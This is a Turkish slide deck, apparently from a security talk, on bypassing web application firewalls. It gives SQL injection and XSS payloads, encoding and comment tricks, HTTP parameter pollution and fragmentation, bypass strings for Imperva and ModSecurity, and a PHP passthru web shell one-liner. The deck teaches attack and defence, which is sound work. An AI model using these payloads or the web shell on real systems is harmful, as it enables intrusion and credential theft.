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Hedef
❖ Esas hedef olarak web uygulamaları
❖ Ağa açılan ilk kapı
❖DMZ? (stateful firewall)
❖ Veritabanı bağlantısı, watering hole



Engel



Temelleri Anlamak
❖Web uygulamalarının karmaşık yapısı
❖ Çok katmanlı mimari (istemciler, web s., web 

servisleri, veritabanı s.)
❖ Birçok teknolojinin beraber veya birbirinin 

yerine 
kullanılması(php,asp,jsp,servlet,scala,c++,
[js],html,css,mssql,mysql,oracle,postgresql,n
osql, …..)



Temelleri Anlamak
❖ İçerik kontrolü

– kara liste!
– beyaz liste?



SQLi
❖Normalde SQLi

– ‘ union all select null --
– ‘) union … #
– ; update users set pass=0xF20A.. where id=1



i’siz SQLi
❖%100’ü SQL olan SQLi



i’siz SQLi
❖%100’ü SQL olan SQLi

– ?id=1 union all select null



i’siz SQLi
❖%100’ü SQL olan SQLi

– ?id=1 union all select null
– ?id=1 union(select null)



i’siz SQLi
❖%100’ü SQL olan SQLi

– ?id=1 union all select null
– ?id=1 union(select null)
– ?id=1 and (select id from users limit 0,1)>10



i’siz SQLi
❖%100’ü SQL olan SQLi

– ?id=1 union all select null
– ?id=1 union(select null)
– ?id=1 and (select id from users limit 0,1)>10
– ?id=1 and (select id from users where 

pass=0x1F2B…) > 10



i’siz SQLi
❖%100’ü SQL olan SQLi

– ?id=1 union all select null
– ?id=1 union(select null)
– ?id=1 and (select id from users limit 0,1)>10
– ?id=1 and (select id from users where 

pass=0x1F2B…) > 10



Alternatifleri Kullanmak
SELECT name FROM sysobjects WHERE 
xtype = ‘U’



Alternatifleri Kullanmak
SELECT TABLE_NAME FROM 
INFORMATION_SCHEMA.TABLES 
WHERE TABLE_TYPE = 'BASE TABLE'



Encoding
❖ payload (http://yehg.net/encoding/)

– &#112;&#97;&#121;&#108;&#111;&#97;&#100;
– \x70\x61\x79\x6c\x6f\x61\x64
– \70\61\79\6c\6f\61\64
– %70%61%79%6c%6f%61%64
– %u0070%u0061%u0079%u006c%u006f

%u0061%u0064
– \160\141\171\154\157\141\144



Encoding
❖ payload (http://yehg.net/encoding/)

– 0x7061796C6F6164
– Char(112),Char(97),Char(121),Char(108),Char(111),C

har(97),Char(100)
– Char(112,97,121,108,111,97,100)
– chr(112)||chr(97)||chr(121)||chr(108)||chr(111)||chr(

97)||chr(100)
– 0x7000610079006C006F0061006400



Encoding
❖ Tanınmayan encoding
❖ Birden fazla decode işlemi

– hem uygulama hem veritabanı decode edebilir
– decode işlemi yapan birden fazla fonksiyon 

kullanımış olabilir

❖ Performans kaygısı
– Sorgusuz decode mu?



Encoding
❖ index.aspx?'/><input type='image' src='#' 

onerror='javascript:alert(1)
– farklı payload -
– encoding -



Encoding
.aspx'/><input type='image' src='#' %u006f
%u006e%u0065%u0072%u0072%u006f
%u0072%u003d%u0027%u006a
%u0061%u0076%u0061%u0073%u0063%u
0072%u0069%u0070%u0074%u003a
%u0061%u006c
%u0065%u0072%u0074%u0028%u0031%u
0029



Yorum Farkı
❖ Yorumlar
❖Özel karakterler (null)
❖HTTP parametre kirliliği



Yorum Farkı
❖… union /*!0select null */
❖… union/*111*/select null
❖ <scr%00ipt>alert(1)</sc%00ript>



HPP
❖ index.php?param=abc&param=select 

username,pass from users



HPP
❖ index.php?param=abc&param=select 

username,pass from users
– select username,pass from users



HPP
❖ index.php?param=abc&param=select 

username,pass from users
– select username,pass from users

❖ index.aspx?param=’ union select 
null&param=username&param=pass from 
users



HPP
❖ index.php?param=abc&param=select 

username,pass from users
– select username,pass from users

❖ index.aspx?param=’ union select 
null&param=username&param=pass from 
users
– ‘union select null,username,pass from 

users



HPP



HPF
❖ ?p1=-1 union select 1--&p2=100



HPF
❖ ?p1=-1 union select 1--&p2=100
❖ select * from table where p1={p1} and 

p2={p2}



HPF
❖ ?p1=-1 union select 1--&p2=100
❖ select * from table where p1={p1} and 

p2={p2}
❖ ?p1=-1 union/*&p2=*/ select 1,2,3



HPF
❖ ?p1=-1 union select 1--&p2=100
❖ select * from table where p1={p1} and 

p2={p2}
❖ ?p1=-1 union/*&p2=*/ select 1,2,3
❖ select * from table where p1=-1 union/* and 

*/ select 1,2,3



❖ Imperva SecureSphere
– 15 and '1'=(SELECT '1' FROM dual) and 

'0having'='0having'

❖Modsecurity MySQL Version
– 15 /*!1union select null*/

❖Modsecurity IIS
– HPP

Bilinen Örnekler



Çalıştırılabilir Dosyalar
❖ Binary
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❖ Binary
❖Web Shells
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❖ Binary
❖Web Shells

– one-liners
● <?=passthru($_GET[‘c’])?>
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Çalıştırılabilir Dosyalar
❖ Binary
❖Web Shells

– one-liners
● <?=passthru($_GET[‘c’])?>

– laudanum, weevely

❖ Encoding and Obfuscation
– http://xploitaday.komodin.org/tools/php-encoder/



Diğer Zafiyetler
❖Oturum yönetimi zafiyetleri
❖Kontrolsüz nesne erişimi
❖Konfigürasyon hataları
❖ Yetersiz veya aşılabilir erişim kontrolü
❖Doğrulanmayan yönlendirmeler
❖….



❖Uygulama kendi güvenliğinden sorumludur
❖Güvenli uygulama geliştirme alışkanlığı
❖Uygulama geliştirme süreçleri

Doğru Yere Bakmak
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